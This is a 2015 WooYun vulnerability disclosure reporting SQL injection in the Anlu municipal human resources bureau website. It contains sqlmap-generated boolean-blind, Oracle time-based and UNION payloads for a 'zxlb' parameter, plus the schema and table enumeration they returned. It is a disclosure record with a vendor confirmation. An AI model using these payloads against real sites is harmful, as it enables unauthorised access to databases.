当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156687

漏洞标题:安陆市人力资源和社会保障局2处SQL注入UNION

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-11-29 22:04

修复时间:2016-01-17 15:16

公开时间:2016-01-17 15:16

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-29: 细节已通知厂商并且等待厂商处理中
2015-12-03: 厂商已经确认,细节仅向厂商公开
2015-12-13: 细节向核心白帽子及相关领域专家公开
2015-12-23: 细节向普通白帽子公开
2016-01-02: 细节向实习白帽子公开
2016-01-17: 细节向公众公开

简要描述:

rt

详细说明:

http://**.**.**.**/hbwzweb/html/hdjl/zxzx/zxzx_ckhf.shtml?zxlb=01


http://**.**.**.**/hbwz/qtpage/hdjl/zxzx_info.jsp?id=20151005190032


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: zxlb (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: zxlb=01%' AND 8183=8183 AND '%'='
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: zxlb=01%' AND 5568=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(110)||CHR(89)||CHR(80),5) AND
'%'='
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: zxlb=-7752%' UNION ALL SELECT NULL,CHR(113)||CHR(113)||CHR(107)||CHR(98)||CHR(113)||CHR
(107)||CHR(90)||CHR(116)||CHR(73)||CHR(89)||CHR(72)||CHR(102)||CHR(103)||CHR(106)||CHR(101)||CHR(113
)||CHR(113)||CHR(122)||CHR(106)||CHR(113) FROM DUAL--
---
[22:53:49] [INFO] the back-end DBMS is Oracle
web server operating system: Windows
web application technology: Apache 2.2.17
back-end DBMS: Oracle
[22:53:49] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart
to database names on other DBMSes
[22:53:49] [INFO] fetching database (schema) names
[22:53:49] [INFO] the SQL query used returns 24 entries
available databases [24]:
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_030000
[*] FLOWS_FILES
[*] HBWZ
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WK_TEST
[*] WKSYS
[*] WMSYS
[*] XDB

漏洞证明:

Database: SH
+----------------------------+---------+
| Table | Entries |
+----------------------------+---------+
| SALES | 918843 |
| COSTS | 82112 |
| CUSTOMERS | 55500 |
| FWEEK_PSCAT_SALES_MV | 11266 |
| SUPPLEMENTARY_DEMOGRAPHICS | 4500 |
| TIMES | 1826 |
| PROMOTIONS | 503 |
| PRODUCTS | 72 |
| CAL_MONTH_SALES_MV | 48 |
| COUNTRIES | 23 |
| DR$SUP_TEXT_IDX$R | 22 |
| CHANNELS | 5 |
+----------------------------+---------+


修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-03 15:14

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给湖北分中心,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评价